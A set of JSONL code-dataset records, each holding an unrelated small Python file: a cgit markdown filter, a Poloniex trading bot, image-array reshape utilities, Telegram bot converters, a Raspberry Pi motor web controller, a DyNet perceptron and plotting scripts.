it deserves or is considered important enough to be treated in that way: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_merit.py","file_name":"_merit.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"109864215","text":"#!/usr/bin/env python\n#\n# Copyright 2011, Jason Graham\n#\n# Uses python-markdown to convert a markdown document to the body\n# of an HTML document to display with cgit (http://hjemli.net/git/cgit/).\n#\n# Install:\n#\n# 1- Install python-markdown ( sudo apt-get install python-markdown )\n# 2- Copy this script to /usr/local/bin/markdownize_cgit.py (with exec rights)\n# 3- Add this statement into the your cgit configuration:\n# # Implement globally\n# about-filter=/usr/local/bin/markdownize_cgit.py\n#\n# OR\n#\n# # Implement On a per-repo basis (must use\n# # the enable-filter-overrides=1 option)\n# repo.about-filter=/usr/local/bin/markdownize_cgit.py\n#\n\nimport sys\nimport markdown\n\ndef markdownize(in_stream=None, out_stream=None):\n\t# If not provided in_stream will be read from stdin and out_stream \n\t# will be written to stdout.\n\tif in_stream is None:\n\t in_stream = sys.stdin\n\tif out_stream is None:\n\t out_stream = sys.stdout\n\n\tout_stream.write(markdown.markdown(in_stream.read()))\n\nif __name__ == '__main__':\n\tif len(sys.argv) != 1:\n\t sys.exit(1)\n\tmarkdownize()","sub_path":"all-gists/772157/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"97191659","text":"import time\nimport datetime\nimport sys\nimport getopt\n\nfrom poloniex import poloniex\n\ndef main(agrv):\n period = 300\n pair = \"USDT_BTC\"\n prices = []\n current_moving_average = 0\n length_of_ma = 0\n start_time = False\n end_time = False\n historical_data = False\n trade_placed = False\n type_of_trade = False\n data_date = \"\"\n local_max = []\n current_resistance = 0.018\n data_points = []\n\n\n try:\n opts, args = getopt.getopt(agrv, \"hp:c:n:s:e\", [\"period=\",\"points=\"])\n except getopt.GetoptError:\n print(\"trading-bot.py -p -c \")\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == '-h':\n print(\"trading-bot.py -p -c \")\n sys.exit()\n elif opt in (\"-p\", \"--period\"):\n if(int(arg) in [300, 900, 1800, 7200, 14400, 86400]):\n period = int(arg)\n else:\n print(\"Poloniex requires periods in 300, 900, 1800, 7200, 1440 ~\");\n sys.exit(2)\n elif opt in (\"-c\", \"--currency\"):\n pair = arg\n elif opt in (\"-n\", \"--points\"):\n length_of_ma = int(arg)\n elif opt in (\"-s\"):\n start_time = arg\n elif opt in (\"-e\"):\n end_time = arg\n\n conn = poloniex('hello', 'hello')\n\n current_moving_average = 5\n start_time = int(time.time() - 14400)\n end_time = int(time.time())\n print(start_time)\n print(end_time)\n print(current_moving_average)\n print(pair)\n\n\n\n output = open(\"output.html\", \"w\")\n output.truncate()\n output.write(\"\"\"
\"\"\")\n\n\n \"\"\"\n while True:\n if(start_time and historical_data):\n print(\"!\")\n next_data_point = historical_data.pop(0)\n last_pair_price = next_data_point['weightedAverage']\n data_date = datetime.datetime.fromtimestamp(int(next_data_point['date'])).strftime('%Y-%m-%d %H:%M:%S')\n elif(start_time and not historical_data):\n for point in data_points:\n output.write( \"['\" + point['date'] + \"',\" + point['price'] + \",\" + point['label'] + \",\" + point['desc'] + \",\" + point['trend'])\n output.write(\"],\\n\")\n #output.write( \"\"]);var options = {title: 'Price Chart',legend: { position: 'bottom' }};var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));chart.draw(data, options);}
\"\")\n exit()\n else:\n current_values = conn.api_query(\"returnTicker\")\n last_pair_price = current_values[pair]['last']\n data_date = datetime.datetime.now()\n\n if(len(prices) > 0):\n current_moving_average = sum(prices) / float(len(prices))\n previous_price = prices[-1]\n if(not trade_placed):\n if((last_pair_price > current_moving_average) and (last_pair_price < previous_price)):\n print(\"SELL ORDER\")\n #order_number = conn.sell(pair, last_pair_price, 0.01)\n trade_placed = True\n type_of_trade = \"short\"\n elif((last_pair_price < current_moving_average) and (last_pair_price > previous_price)):\n print(\"BUT ORDER\")\n #order_number = conn.buy(pair, last_pair_price, 0.01)\n trade_placed = True\n type_of_trade = \"long\"\n elif(type_of_trade is not \"short\"):\n if(last_pair_price < current_moving_average):\n print(\"EXIT TRADE\")\n #conn.cancel(pair, order_number)\n trade_placed= False\n type_of_trade = False\n elif(type_of_trade is \"long\"):\n if(last_pair_price > current_moving_average):\n print(\"EXIT TRADE\")\n #conn.cancel(pair, order_number)\n trade_placed= False\n type_of_trade = False\n else:\n previous_price = 0\n\n\n print(\"{0} Period : {1}s {2}: {3} Moving Average:{4}\".format(data_date, period, pair, last_pair_price, current_moving_average))\n\n prices.append(float(last_pair_price))\n prices = prices[-length_of_ma]\n if(not start_time):\n time.sleep(int(period))\n \"\"\"\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"628089972","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nfrom collections import Counter\n\nfrom . import types\nfrom .constants import Dimensions\nfrom .exceptions import ConflictingArgumentsError\n\n###############################################################################\n\nlog = logging.getLogger(__name__)\n\n###############################################################################\n\n\ndef reshape_data(\n data: types.ArrayLike, given_dims: str, return_dims: str, **kwargs\n) -> types.ArrayLike:\n \"\"\"\n Reshape the data into return_dims, pad missing dimensions, and prune extra\n dimensions. Warns the user to use the base reader if the depth of the Dimension\n being removed is not 1.\n\n Parameters\n ----------\n data: types.ArrayLike\n Either a dask array or numpy.ndarray of arbitrary shape but with the dimensions\n specified in given_dims\n given_dims: str\n The dimension ordering of data, \"CZYX\", \"VBTCXZY\" etc\n return_dims: str\n The dimension ordering of the return data\n kwargs:\n * C=1 => desired specific channel, if C in the input data has depth 3 then C=1\n returns the 2nd slice (0 indexed)\n * Z=10 => desired specific channel, if Z in the input data has depth 20 then\n Z=10 returns the 11th slice\n * T=[0, 1] => desired specific timepoints, if T in the input data has depth 100\n then T=[0, 1] returns the 1st and 2nd slice (0 indexed)\n * T=(0, 1) => desired specific timepoints, if T in the input data has depth 100\n then T=(0, 1) returns the 1st and 2nd slice (0 indexed)\n * T=(0, -1) => desired specific timepoints, if T in the input data has depth 100\n then T=(0, -1) returns the first and last slice\n * T=range(10) => desired specific timepoints, if T in the input data has depth\n 100 then T=range(10) returns the first ten slices\n * T=slice(0, -1, 5) => desired specific timepoints, T=slice(0, -1, 5) returns\n every fifth timepoint\n\n Returns\n -------\n data: types.ArrayLike\n An array in return_dims order, if return_dims=DEFAULT_DIMS then the return\n would have order \"STCZYX\"\n\n Examples\n --------\n Specific index selection\n\n >>> data = np.random.rand((10, 100, 100))\n ... z1 = reshape_data(data, \"ZYX\", \"YX\", Z=1)\n\n List of index selection\n\n >>> data = np.random.rand((10, 100, 100))\n ... first_and_second = reshape_data(data, \"ZYX\", \"YX\", Z=[0, 1])\n\n Tuple of index selection\n\n >>> data = np.random.rand((10, 100, 100))\n ... first_and_last = reshape_data(data, \"ZYX\", \"YX\", Z=(0, -1))\n\n Range of index selection\n\n >>> data = np.random.rand((10, 100, 100))\n ... first_three = reshape_data(data, \"ZYX\", \"YX\", Z=range(3))\n\n Slice selection\n\n >>> data = np.random.rand((10, 100, 100))\n ... every_other = reshape_data(data, \"ZYX\", \"YX\", Z=slice(0, -1, 2))\n\n Empty dimension expansion\n\n >>> data = np.random.rand((10, 100, 100))\n ... with_time = reshape_data(data, \"ZYX\", \"TZYX\")\n\n Dimension order shuffle\n\n >>> data = np.random.rand((10, 100, 100))\n ... as_zx_base = reshape_data(data, \"ZYX\", \"YZX\")\n\n Selections, empty dimension expansions, and dimension order shuffle\n\n >>> data = np.random.rand((10, 100, 100))\n ... example = reshape_data(data, \"CYX\", \"BSTCZYX\", C=slice(0, -1, 3))\n \"\"\"\n # Check for parameter conflicts\n for dim in Dimensions.DefaultOrderList:\n # return_dims='TCZYX' and fixed dimensions 'C=1'\n # Dimension is in kwargs\n # Dimension is an integer\n # Dimension is in return dimensions\n if isinstance(kwargs.get(dim), int) and dim in return_dims:\n raise ConflictingArgumentsError(\n f\"When selecting a single dimension index, the specified dimension can \"\n f\"not be provided in return_dims. \"\n f\"return_dims={return_dims}, dimension {dim} = {kwargs.get(dim)}\"\n )\n\n # return_dims='CZYX' and iterable dimensions 'T=range(10)'\n # Dimension is in kwargs\n # Dimension is an iterable\n # Dimension is not in return dimensions\n if (\n isinstance(kwargs.get(dim), (list, tuple, range, slice))\n and dim not in return_dims\n ):\n raise ConflictingArgumentsError(\n f\"When selecting a multiple dimension indicies, the specified \"\n f\"dimension must be provided in return_dims. \"\n f\"return_dims={return_dims}, dimension {dim} = {kwargs.get(dim)}\"\n )\n\n # Process each dimension available\n new_dims = given_dims\n dim_specs = []\n for dim in given_dims:\n # Store index of the dim as it is in given data\n dim_index = given_dims.index(dim)\n\n # Handle dim in return dims which means that it is\n # an iterable or None selection\n if dim in return_dims:\n # Specific iterable requested\n if dim in kwargs:\n # Actual dim specification\n # The specification provided for this dimension in the kwargs\n dim_spec = kwargs.get(dim)\n display_dim_spec = dim_spec\n\n # Convert operator to standard list or slice\n # dask.Array and numpy.ndarray both natively support\n # List[int] and slices being passed to getitem so no need to cast them\n # to anything different\n if isinstance(dim_spec, (tuple, range)):\n dim_spec = list(dim_spec)\n\n # Get the largest absolute value index in the list using min and max\n if isinstance(dim_spec, list):\n check_selection_max = max([abs(min(dim_spec)), max(dim_spec)])\n\n # Get the largest absolute value index from start and stop of slice\n if isinstance(dim_spec, slice):\n check_selection_max = max([abs(dim_spec.stop), abs(dim_spec.start)])\n else:\n # Nothing was requested from this dimension\n dim_spec = slice(None, None, None)\n display_dim_spec = dim_spec\n\n # No op means that it doesn't matter how much data is in this dimension\n check_selection_max = 0\n\n # Not in given dims means that it is a fixed integer selection\n else:\n if dim in kwargs:\n # Integer requested\n dim_spec = kwargs.get(dim)\n display_dim_spec = dim_spec\n\n # Check that integer\n check_selection_max = dim_spec\n else:\n # Dimension wasn't included in kwargs, default to zero\n log.warning(\n f\"Data has dimension {dim} with depth {data.shape[dim_index]}, \"\n f\"assuming {dim}=0 is the desired value, \"\n f\"if not the case specify {dim}=x where \"\n f\"x is an integer, list, tuple, range, or slice.\"\n )\n dim_spec = 0\n display_dim_spec = dim_spec\n check_selection_max = 0\n\n # Remove dim from new dims as it is fixed size\n new_dims = new_dims.replace(dim, \"\")\n\n # Check that fixed integer request isn't outside of request\n if check_selection_max > data.shape[dim_index]:\n raise IndexError(\n f\"Dimension specified with {dim}={display_dim_spec} \"\n f\"but Dimension shape is {data.shape[dim_index]}.\"\n )\n\n # All checks and operations passed, append dim operation to getitem ops\n dim_specs.append(dim_spec)\n\n # Run getitems\n data = data[tuple(dim_specs)]\n\n # Add empty dims where dimensions were requested but data doesn't exist\n # Add dimensions to new dims where empty dims are added\n for i, dim in enumerate(return_dims):\n # This dimension wasn't processed\n if dim not in given_dims:\n new_dims = f\"{new_dims[:i]}{dim}{new_dims[i:]}\"\n data = data.reshape(*data.shape[:i], 1, *data.shape[i:])\n\n # Any extra dimensions have been removed, only a problem if the depth is > 1\n return transpose_to_dims(\n data, given_dims=new_dims, return_dims=return_dims\n ) # don't pass kwargs or 2 copies\n\n\ndef transpose_to_dims(\n data: types.ArrayLike, given_dims: str, return_dims: str,\n) -> types.ArrayLike:\n \"\"\"\n This shuffles the data dimensions from given_dims to return_dims. Each dimension\n must be present in given_dims must be used in return_dims\n\n data: types.ArrayLike\n Either a dask array or numpy.ndarray of arbitrary shape but with the dimensions\n specified in given_dims\n given_dims: str\n The dimension ordering of data, \"CZYX\", \"VBTCXZY\" etc\n return_dims: str\n The dimension ordering of the return data\n\n Returns\n -------\n data: types.ArrayLike\n An array in return_dims order, if return_dims=DEFAULT_DIMS then the return\n would have order \"STCZYX\"\n \"\"\"\n # Use a counter to track that the contents are composed of the same letters\n # and that no letter is repeated\n if (\n Counter(given_dims) != Counter(return_dims)\n or max(Counter(given_dims).values()) > 1\n ):\n raise ConflictingArgumentsError(\n f\"given_dims={given_dims} and return_dims={return_dims} are incompatible.\"\n )\n # Resort the data into return_dims order\n match_map = {dim: given_dims.find(dim) for dim in given_dims}\n transposer = []\n for dim in return_dims:\n transposer.append(match_map[dim])\n data = data.transpose(transposer)\n return data\n","sub_path":"aicsimageio/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":9702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"571873014","text":"\"\"\"\nMIT License\n\nCopyright (c) 2020 ilovetocode\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nfrom .errors import BadArgument\nfrom telegrampy.chat import Chat\nfrom telegrampy.user import User\nfrom telegrampy.errors import HTTPException\n\nclass Converter:\n \"\"\"\n Base class for converters.\n \"\"\"\n\n async def convert(self, ctx, arg):\n \"\"\"\n Does the converting.\n \"\"\"\n raise NotImplementedError\n\nclass UserConverter(Converter):\n \"\"\"\n Converts an argument into a user.\n \"\"\"\n\n async def convert(self, ctx, arg):\n try:\n arg = int(arg)\n except ValueError:\n raise BadArgument(arg, User, \"Argument is not an ID\")\n try:\n return await ctx.chat.get_member(arg)\n except HTTPException:\n raise BadArgument(arg, User, \"Failed to fetch user\")\n\nclass ChatConverter(Converter):\n \"\"\"\n Converts an argument into a chat.\n \"\"\"\n\n async def convert(self, ctx, arg):\n try:\n arg = int(arg)\n except ValueError:\n raise BadArgument(arg, Chat, \"Argument is not an ID\")\n try:\n return await ctx.bot.get_chat(arg)\n except HTTPException:\n raise BadArgument(arg, Chat, \"Failed to fetch chat\")\n","sub_path":"venv/Lib/site-packages/telegrampy/ext/commands/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"509008340","text":"#done with MacRay Lewis\r\ndef changeLittle(fromFile,toFile,newString):\r\n file = open(fromFile,\"rt\")\r\n contents = file.read()\r\n file.close()\r\n \r\n addtext = contents.find(\"addText\")\r\n firstQuote = contents.find('\"',addtext)\r\n endQuote = contents.find('\"',firstQuote+1)\r\n \r\n newFile = open(toFile,\"wt\")\r\n newFile.write(contents[:firstQuote+1])\r\n newFile.write(newString)\r\n newFile.write(contents[endQuote:])\r\n newFile.close()\r\n \r\ndef main():\r\n import os\r\n file1 = setMediaPath(\"C:/Users/super/Documents/stuff/school/MI 250/programs/littlePicture.py\")\r\n file2 = setMediaPath(\"C:/Users/super/Documents/stuff/school/MI 250/programs/changedLittlePicture.py\")\r\n changeLittle(file1,file2,\"this is a test\")\r\n \r\nmain()","sub_path":"MI 250/programs/existing programs before week 13/week 8 changeLittle.py","file_name":"week 8 changeLittle.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"287840366","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 19 13:23:50 2019\n\n@author: james\n\"\"\"\n\nimport pandas as pd\ndf = pd.read_csv('Yelp_Reviews.csv')\ndf.head(2)\n\nex=df.date[1]","sub_path":"lambda lab.py","file_name":"lambda lab.py","file_ext":"py","file_size_in_byte":167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"300625453","text":"#!/usr/bin/env python3\nfrom bottle import get,post,run,request,template\nimport RPi.GPIO as GPIO\nimport time\nimport os\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\nMotor1A = 11\nMotor1B = 12\nMotor2A = 13\nMotor2B = 15\n\n#print(\"Setting up GPIO pins\")\nGPIO.setup(Motor1A, GPIO.OUT)\nGPIO.setup(Motor1B, GPIO.OUT)\nGPIO.setup(Motor2A, GPIO.OUT)\nGPIO.setup(Motor2B, GPIO.OUT)\n\ndef up():\n print(\"Go Straight!\")\n GPIO.output(Motor1A, GPIO.HIGH)\n GPIO.output(Motor1B, GPIO.LOW)\n GPIO.output(Motor2A, GPIO.HIGH)\n GPIO.output(Motor2B, GPIO.LOW)\n\ndef down():\n print(\"Go Back\")\n GPIO.output(Motor1A, GPIO.LOW)\n GPIO.output(Motor1B, GPIO.HIGH)\n GPIO.output(Motor2A, GPIO.LOW)\n GPIO.output(Motor2B, GPIO.HIGH)\n\ndef left():\n print(\"Turn Left!\")\n GPIO.output(Motor1A, GPIO.LOW)\n GPIO.output(Motor1B, GPIO.HIGH)\n GPIO.output(Motor2A, GPIO.HIGH)\n GPIO.output(Motor2B, GPIO.LOW)\n\ndef right():\n print(\"Turn Right!\")\n GPIO.output(Motor1A, GPIO.HIGH)\n GPIO.output(Motor1B, GPIO.LOW)\n GPIO.output(Motor2A, GPIO.LOW)\n GPIO.output(Motor2B, GPIO.HIGH)\n\ndef stop():\n print(\"Stop!\")\n GPIO.output(Motor1A, False)\n GPIO.output(Motor1B, False)\n GPIO.output(Motor2A, False)\n GPIO.output(Motor2B, False)\n \n@get(\"/\")\ndef index():\n return template(os.path.dirname(os.path.realpath(__file__))+\"/index\")\n\n@get(\"/camera\")\ndef index():\n return template(os.path.dirname(os.path.realpath(__file__))+\"/camera\")\n\n@post(\"/cmd\")\ndef cmd():\n id = request.body.read().decode()\n if id == 'up':\n up()\n elif id == 'down':\n down()\n elif id == 'left':\n left()\n elif id == 'right':\n right()\n elif id == 'stop':\n stop()\n else:\n print('ERROR!')\n \n return \"OK\"\n\nif __name__ == '__main__':\n stop()\n run(host=\"0.0.0.0\")\n","sub_path":"web_control/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"271462679","text":"from __future__ import print_function\nfrom __future__ import division\nimport dynet as dy\nimport sys\nimport string\nimport operator\n\n# hello\n# ----- simple Perceptron: using dynet ----- #\n# Name: Hyun A Chung\n\n# ----- reading input functions ----- #\n# read in necessary files\ndef read_files():\n train_filename = \"classed_70_daily547\"\n train_file = open(\"%s\" %(train_filename), \"r\")\n test_file = open(\"test_set\", \"r\")\n\n # read in train file\n # train_list: list of each lines in train file\n train_list = []\n for line in train_file:\n train_list.append(line)\n\n # read in test file\n # test_list: list of each lines in test file\n test_list = []\n for line in test_file:\n test_list.append(line)\n\n train_file.close()\n test_file.close()\n\n return train_list, test_list\n\n\n# read in unique words in the sample data and training instances\ndef read_trainset(train_list):\n inputs = []\n targets = []\n unique_vector = []\n unique_class = []\n features_total = 0\n count = 0\n\n for line in train_list:\n count += 1\n line = line.strip().split()\n\n # add target to targets list\n targets.append(line.pop(0))\n # print(targets[-1])\n if targets[-1] not in unique_class:\n unique_class.append(targets[-1])\n\n # add the current line to inputs list\n line[:] = [word.strip(string.punctuation) for word in line]\n inputs.append(line)\n\n # count number of unqiue words in the input\n for word in line:\n if word not in unique_vector:\n features_total += 1\n unique_vector.append(word)\n\n print(\"%s lines for train\" %(count))\n return inputs, targets, unique_vector, features_total, unique_class\n\n# create network input vector in respect to number of unique words in the train set\ndef create_inputVector(word_inputs, unique_vector, features_total):\n network_input = []\n for line in word_inputs:\n # set all entries on the vector to 0\n inputVector = [0] * features_total\n\n # set position to 1 if the index's unique word exist in the given tweet\n for word in line:\n inputVector[unique_vector.index(word)] = 1\n\n network_input.append(inputVector)\n\n return network_input\n\n\n# ----- test network functions ----- #\n# test the network for the given input\ndef test_network(pWeight, input_dy):\n # add parameters to graph as expressions\n weight = dy.parameter(pWeight)\n\n # return what the network returns\n # target_output = dy.scalarInput(unique_class.index(target))\n e_a = (weight*input_dy)\n # print(e_a.value())\n output_index = max(enumerate(e_a.value()), key=operator.itemgetter(1))\n output_index = output_index[0]\n # print(output_index)\n return output_index\n\n# run test_network function for the given input\ndef test(test_list, pWeight, unique_vector, features_total, unique_class):\n input_dy = dy.vecInput(features_total)\n output_list = []\n # print(unique_class)\n for line in test_list:\n test_line = line.split()\n target = test_line[0]\n test_line = test_line[1:]\n test_vector = [0] * features_total\n all_unique = True\n # print(unique_vector)\n for word in test_line:\n # print(word)\n try:\n test_vector[unique_vector.index(word)] = 1\n all_unique = False\n except:\n continue\n\n input_dy.set(test_vector)\n\n if all_unique:\n print(\"none\")\n # print( \"%s: %s\" %(unique_class.index(target), output))\n # output_list.append(output)\n else:\n output = test_network(pWeight, input_dy)\n # print( \"%s: %s\" %(unique_class.index(target), output))\n # output_list.append(output)\n print(\"target: %s, output: %s\" %(target, unique_class[output]))\n\n # print(\"softmax version\")\n # output_list_expression = dy.vecInput(len(unique_vector))\n # output_list_expression.set(output_list)\n # output_list_softmax = dy.softmax(output_list_expression)\n # for index, line in enumerate(test_list):\n # target = line[0]\n # return_value = output_list_softmax[index].value()\n # print(\"%s: %s\" %(target, return_value))\n\n\n# ------- main ------- #\ndef main():\n # new computation graph\n dy.renew_cg()\n\n word_inputs = []\n targets = []\n unique_vector = []\n network_input = []\n unique_class = []\n\n # read in input files first\n train_list, test_list = read_files()\n\n # ----- training ----- #\n # analysis the train_list\n word_inputs, targets, unique_vector, features_total, unique_class = read_trainset(train_list)\n network_input = create_inputVector(word_inputs, unique_vector, features_total)\n # print(unique_class)\n\n # # add features here and increase features_total\n\n # create parameters\n para_collec = dy.ParameterCollection()\n height = len(unique_class)\n pWeight = para_collec.add_parameters((height, features_total))\n pClassWeight = para_collec.add_parameters((1, height))\n # weight = dy.parameter(pWeight)\n # print(weight.dim())\n trainer = dy.SimpleSGDTrainer(para_collec)\n\n loop = True\n loop_count = 0\n while(loop):\n # for i in xrange(10):\n loop_count += 1\n # print(\"loop count: \", loop_count)\n loop = False\n for line, target in zip(network_input, targets):\n weight = dy.parameter(pWeight)\n classWeight = dy.parameter(pClassWeight)\n\n # add parameters to graph as expressions\n input_dy = dy.vecInput(len(line))\n input_dy.set(line)\n # print(\"target is: \", unique_class.index(target))\n target_output = dy.scalarInput(unique_class.index(target))\n output = dy.pickneglogsoftmax((weight*input_dy), unique_class.index(target))\n loss_value = output.value()\n # print((weight*input_dy).value())\n # print(loss_value)\n\n if (loss_value > 0.3):\n # print(\"before: \", loss_value)\n loop = True\n\n output.backward()\n # output.backward()\n trainer.update()\n\n loss_value = output.value(recalculate=True)\n # print(\"after: \",loss_value)\n # print(output.value())\n # e_b = (classWeight*e_a)\n # loss_value = e_b.value() # forward\n # output = dy.softmax(e_b)\n # print(e_b.value())\n # print(output.value())\n # picked_e = picked.value()\n\n # print(output.value())\n # print(output_result)\n # if (target != output_result_index):\n # # loop = True\n # print(\"target is: \", unique_class.index(target))\n # print(\"output was: %s, loss before step is: %s\" %(output_result_index, picked_e))\n\n # if (picked_e < 0):\n # output = -output\n\n # # output[output_result].backward()\n # trainer.update()\n # picked_updated = dy.pick(output, output_result_index)\n # print(\"loss after step is: \", picked_updated.value())\n\n # # ----- testing ----- #\n print(\"testing...\")\n test(test_list, pWeight, unique_vector, features_total, unique_class)\n\n# ---------------------- #\nif __name__ == \"__main__\":\n main()\n\n\n # # add parameters to graph as expressions\n # input_dy = dy.vecInput(len(line))\n # input_dy.set(line)\n # print(\"input: \", input_dy.dim())\n # print(\"weight: \", Weight.dim())\n # target_output = dy.scalarInput(unique_class.index(target))\n # output = (Weight*input_dy)\n # loss_value = max(output.value()) # forward\n # print(\"output: \", output.dim())\n # # print(output.value())\n # output_result = max(enumerate(output.value()), key=operator.itemgetter(1))\n # output_result = output_result[0]\n # print(\"target index: \", unique_class.index(target))\n # print(output.value())\n # print(output_result)\n # if (target != output_result):\n # loop = True\n # print(\"target is: \", target)\n # print(\"output was: %s, loss before step is: %s\" %(output_result, loss_value))\n # if (loss_value < 0):\n # print(output.value())\n # output = -output\n # print(output.value())\n # modify = pWeight[output_result]\n # print(modify.dim())\n # modify.backward()\n # trainer.update()\n # loss_value = (output).value(recalculate=True)\n # print(\"loss after step is: \", loss_value)\n","sub_path":"dynet-practice/perceptron_multiclass.py","file_name":"perceptron_multiclass.py","file_ext":"py","file_size_in_byte":8847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"66378866","text":"from os import path\nfrom pathlib import Path\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport pandas as pd\nimport os\n\n\n\n\ndef visPlotly(File:path,toprint: path):\n #angle distance transmittance\n angle = []\n distance = []\n tr = []\n with open(File,\"r\") as file1:\n for line in file1.readlines():\n x = line.split()\n if(len(x)==3):\n angle.append(float(x[0]))\n distance.append(float(x[1])/1000)\n tr.append(float(x[2])*100)\n else:\n angle.append(0)\n distance.append(float(x[0])/1000)\n tr.append(float(x[1])*100)\n\n #df = pd.DataFrame(dict(x=angle,y=distance,z=tr))\n s = os.path.basename(File).split(\"_\")\n s_val = int(float(s[2]))\n fig = go.Figure()\n x_val = np.arange(s_val,s_val+len(angle))\n fig.add_trace(go.Scatter(x= x_val, y=angle,name=\"Magassági szög\",line=dict(color=\"#0000FF\")))\n fig.add_trace(go.Scatter(x= x_val, y=distance,name=\"Távolság [km]\",yaxis=\"y2\",line=dict(color=\"#cc0000\")))\n fig.add_trace(go.Scatter(x= x_val, y=tr,name=\"Optikai áteresztőképesség [%]\",yaxis=\"y3\",line=dict(color=\"#008000\")))\n\n # Create axis objects\n\n fig.update_layout(\n xaxis=dict(domain=[0.1,0.9],title=\"Eltelt idő [s]\"\n )\n ,\n yaxis=dict(\n title=\"Magassági szög\",\n titlefont=dict(\n color=\"#0000FF\"\n ),\n tickfont=dict(\n color=\"#0000FF\"\n )\n ),\n yaxis2=dict(\n title=\"Távolság [km]\",\n titlefont=dict(\n color=\"#cc0000\"\n ),\n tickfont=dict(\n color=\"#cc0000\"\n ),\n anchor=\"free\",\n overlaying=\"y\",\n side=\"left\",\n position=0\n ),\n yaxis3=dict(\n title=\"Optikai áteresztőképesség [%]\",\n titlefont=dict(\n color=\"#008000\"\n ),\n tickfont=dict(\n color=\"#008000\"\n ),\n anchor=\"x\",\n overlaying=\"y\",\n side=\"right\",\n ))\n fig.update_layout(\n width=1000,\n )\n st = f\"images/{os.path.basename(File)}.jpeg\"\n\n fig.write_image(os.path.join(toprint,st),scale=3)\n\n #fig.show()\n #fig.write_html('first_figure.html', auto_open=True)\n\n\n\n\ndef vis(File:path):\n #angle distance transmittance\n angle = []\n distance = []\n tr = []\n with open(File,\"r\") as file1:\n for line in file1.readlines():\n x = line.split()\n if(len(x)==3):\n angle.append(float(x[0]))\n distance.append(float(x[1]))\n tr.append(float(x[2]))\n else:\n angle.append(0)\n distance.append(float(x[0]))\n tr.append(float(x[1]))\n \n \n\n \n \n fig, ax = plt.subplots(2, figsize=(10,15))\n fig.canvas.set_window_title(File) \n twin1 = ax[0].twinx()\n\n \n p1, = ax[0].plot(angle,'b-',label=\"angle\")\n p2, = twin1.plot(distance,'r-',label=\"distance\")\n\n\n p3, = ax[1].plot(tr,'g-',label=\"transmittance\")\n\n ax[0].yaxis.label.set_color(p1.get_color())\n twin1.yaxis.label.set_color(p2.get_color())\n ax[1].yaxis.label.set_color(p3.get_color())\n \n tkw = dict(size=3, width=1.5)\n ax[0].tick_params(axis='y', colors=p1.get_color(), **tkw)\n twin1.tick_params(axis='y', colors=p2.get_color(), **tkw)\n\n ax[0].tick_params(axis='x',**tkw)\n ax[0].legend(handles=[p1,p2]) \n \n \n ax[1].tick_params(axis='y', colors=p3.get_color())\n ax[1].legend(handles=[p3])\n \n \n plt.show()\n\nfor child in Path('.').iterdir():\n if child.is_dir():\n for child2 in child.iterdir(): \n if child2.is_dir() and child2.name == \"DATA\":\n for child3 in child2.iterdir(): \n if child3.is_file():\n print(f\"{child3.name}\\n\")\n visPlotly(child3,child2)\n \n\n","sub_path":"src/Data/Output/visualizeDATA.py","file_name":"visualizeDATA.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"561826886","text":"#http://api.mongodb.com/python/current/index.html\n#https://www.mongodb.com/blog/post/how-to-perform-random-queries-on-mongodb\n#http://www.bogotobogo.com/python/MongoDB_PyMongo/python_MongoDB_pyMongo_tutorial_connecting_accessing.php\n#https://www.mongodb.com/blog/post/getting-started-with-python-and-mongodb\nfrom pymongo import MongoClient\nimport datetime\n\nclient = 